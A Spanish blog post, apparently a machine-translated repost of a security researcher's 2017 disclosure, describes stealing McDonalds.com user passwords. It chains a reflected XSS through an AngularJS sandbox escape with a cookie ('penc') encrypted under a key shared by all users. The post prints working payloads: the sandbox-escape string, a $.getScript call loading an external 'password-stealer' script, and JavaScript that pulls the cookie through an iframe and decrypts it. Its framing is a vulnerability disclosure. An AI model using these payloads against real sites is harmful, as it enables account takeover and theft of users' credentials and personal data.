lunes, 16 de enero de 2017

ROBAR LAS CONTRASEÑAS DE LOS USUARIOS MCDONALD

CONOCIMIENTO pertenece al mundo

Al abusar de una vulnerabilidad, inseguridad criptográfica de almacenamiento (enlace) y un servidor reflejado vulnerabilidad-cross site scripting (enlace) es posible robar y descifrar la contraseña de usuario de un McDonalds. Además de eso, otros datos personales como nombre, dirección y detalles de contacto del usuario pueden ser robados también.

PRUEBA DE CONCEPTO

XSS REFLEJADO A TRAVÉS ANGULARJS DE ESCAPE CAJA DE ARENA

McDonalds.com contiene una página de búsqueda que refleja el valor del parámetro de búsqueda ( q) en la fuente de la página. Así que cuando buscamos en la ***********-test-reflected-test-***********que se verá así:
Enlace utilizado: https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********
McDonald utiliza AngularJS para que podamos tratar de imprimir el ID de ámbito único usando el valor de búsqueda. Podemos hacer esto cambiando el qvalor del parámetro a {{$id}}Como podemos ver {{$id}}consigue convertido a 9la ID única (monótonamente creciente) del alcance AngularJS.
Enlace utilizado: https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}
Utilizando {{alert(1)}}como valor no funcionaría porque todo el código AngularJS se ejecuta en un entorno limitado. Sin embargo, la caja de arena AngularJS no es muy seguro. De hecho, no se debe confiar en absoluto. Llegó incluso eliminado en la versión 1.6 (fuente) porque le dio una falsa sensación de seguridad. PortSwigger creado un buen post sobre escapar de la caja de arena AngularJS (enlace).
Primero tenemos que encontrar la versión de AngularJS McDonalds.com. Podemos hacer esto mediante la ejecución angular.versionen la consola.
La versión es 1.5.3, por lo que la caja de arena de escape que necesitamos es {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}Podemos utilizar este escape caja de arena como valor de búsqueda, lo que resulta en una alerta.
Incluso podemos cargar archivos JavaScript externos utilizando la siguiente caja de arena de escape, lo que da lugar a la alerta a continuación.
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}` 
El código JavaScript se puede cargar desde otro dominio desde McDonalds no excluye que el uso de la Content-Security-Policycabecera.

ROBAR LA CONTRASEÑA DEL USUARIO

Otra cosa que me di cuenta en McDonalds.com era su cartel en la página que contenía una casilla muy especial. Normalmente se puede comprobar "Recuérdame" en el momento de firmar, pero de signo de McDonald en la página nos da la opción de recordar la contraseña.
He buscado en todo el JavaScript de la palabra clave passwordy me encontré con algo de código interesante que descifra la contraseña.
Si hay una cosa que no debe hacer, es descifrar contraseñas lado del cliente (o incluso almacenar contraseñas mediante el cifrado de dos vías).
Traté de ejecutar el código de mí mismo, y funcionó!
El pencvalor es una cookie que se almacena durante un año. LOL!
McDonald utiliza CryptoJS para cifrar y descifrar datos sensibles. Utilizan el mismo keyivpara todos los usuarios, lo que significa que sólo tengo que robar la penccookie para descifrar la contraseña de alguien.
He intentado descifrar la contraseña en la página de búsqueda usando una carga útil maliciosa de búsqueda, pero no funcionó. De alguna manera, las cookies no contienen caracteres ocultos en la página de búsqueda haciendo que el getCookiemétodo falle. El getCookiemétodo intenta recortar espacios en blanco de los valores de cookie. En las imágenes se puede ver a continuación .charAt(0)devuelve una cadena extraña cuando se ejecuta en la página de búsqueda.
Escribí algo de JavaScript que carga la página en un iframe y le quita la cookie después de la carga que iframe. Dado que la carga útil se ejecuta varias veces a causa de la fuga caja de arena, puedo realizar un seguimiento de la variable xssIsExecuted, por lo que la carga útil sólo se ejecuta una vez.
if (!window.xssIsExecuted) {
    window.xssIsExecuted = true;

    var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
    $('body').append(iframe);

    iframe.on('load', function() {
        var penc = iframe[0].contentWindow.getCookie('penc');
        alert(iframe[0].contentWindow.decrypt(penc));
    });
}
Ahora podemos utilizar la siguiente caja de arena de escape, lo que se traduce en mi contraseña en un cuadro de alerta!
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}
Eso era todo bastante fácil. He intentado ponerse en contacto con varias veces de McDonald para informar del problema, pero por desgracia no respondió, por lo que decidí revelar la vulnerabilidad.
 Fuente: https: //finnwea.com/
CONOCIMIENTO pertenece al mundo

No hay comentarios:

Publicar un comentario

Disqus Shortname

Comments system